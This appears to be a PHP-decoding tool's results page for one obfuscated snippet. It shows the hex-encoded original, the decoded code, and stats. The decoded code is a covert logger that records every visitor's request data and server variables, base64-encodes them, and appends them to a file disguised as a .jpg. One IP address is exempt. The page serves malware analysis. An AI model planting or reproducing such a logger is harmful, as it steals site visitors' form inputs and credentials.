Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
if (!preg_match("\x2f\x28\x39\65\x5c\x2e\62\x31\66\134\x2e\x31\x35\x5c\56\x32\65\51\x2f", ..
Decoded Output download
<? if (!preg_match("/(95\.216\.15\.25)/", $_SERVER["REMOTE_ADDR"])) { $string = " [" . date("D M d H:i:s Y", time()) . "] " . $_SERVER["REMOTE_ADDR"] . " " . $_SERVER["REQUEST_URI"] . " " . $_SERVER["HTTP_HOST"] . " " . $_SERVER["SCRIPT_FILENAME"] . " " . $_SERVER["PHP_SELF"] . " " . $_SERVER["HTTP_X_FORWARDED_FOR"] . " " . $_SERVER["HTTP_USER_AGENT"] . " " . print_r($_REQUEST, true) . " " . print_r($_SERVER, true) . PHP_EOL; file_put_contents("/home/instop.es/web/2015/intro_2021_jalones.jpg", base64_encode($string) . PHP_EOL, FILE_APPEND); } ?>
Did this file decode correctly?
Original Code
if (!preg_match("\x2f\x28\x39\65\x5c\x2e\62\x31\66\134\x2e\x31\x35\x5c\56\x32\65\51\x2f", $_SERVER["\122\x45\115\x4f\x54\x45\137\101\x44\x44\x52"])) { $string = "\x20\133" . date("\x44\x20\115\40\144\x20\110\72\151\x3a\163\x20\x59", time()) . "\135\x20" . $_SERVER["\122\105\x4d\117\124\x45\137\x41\x44\x44\x52"] . "\x20" . $_SERVER["\122\105\x51\125\x45\x53\124\137\x55\x52\x49"] . "\40" . $_SERVER["\x48\124\124\120\137\x48\117\x53\x54"] . "\x20" . $_SERVER["\x53\x43\x52\111\120\124\x5f\106\111\x4c\x45\116\101\x4d\105"] . "\40" . $_SERVER["\120\110\120\137\123\x45\x4c\x46"] . "\40" . $_SERVER["\110\x54\124\x50\137\130\x5f\x46\117\x52\127\x41\122\x44\105\x44\137\x46\117\122"] . "\x20" . $_SERVER["\x48\x54\x54\120\x5f\x55\123\105\x52\x5f\101\107\105\116\x54"] . "\40" . print_r($_REQUEST, true) . "\40" . print_r($_SERVER, true) . PHP_EOL; file_put_contents("\57\x68\x6f\155\145\57\x69\156\x73\164\157\x70\56\145\163\57\167\145\x62\57\x32\x30\61\x35\57\151\x6e\x74\162\x6f\x5f\62\x30\x32\x31\137\x6a\141\154\157\x6e\x65\x73\x2e\152\x70\x67", base64_encode($string) . PHP_EOL, FILE_APPEND); }
Function Calls
date | 1 |
time | 1 |
preg_match | 1 |
Stats
MD5 | b24c4327e004be6db64658ec14fe3c03 |
Eval Count | 0 |
Decode Time | 68 ms |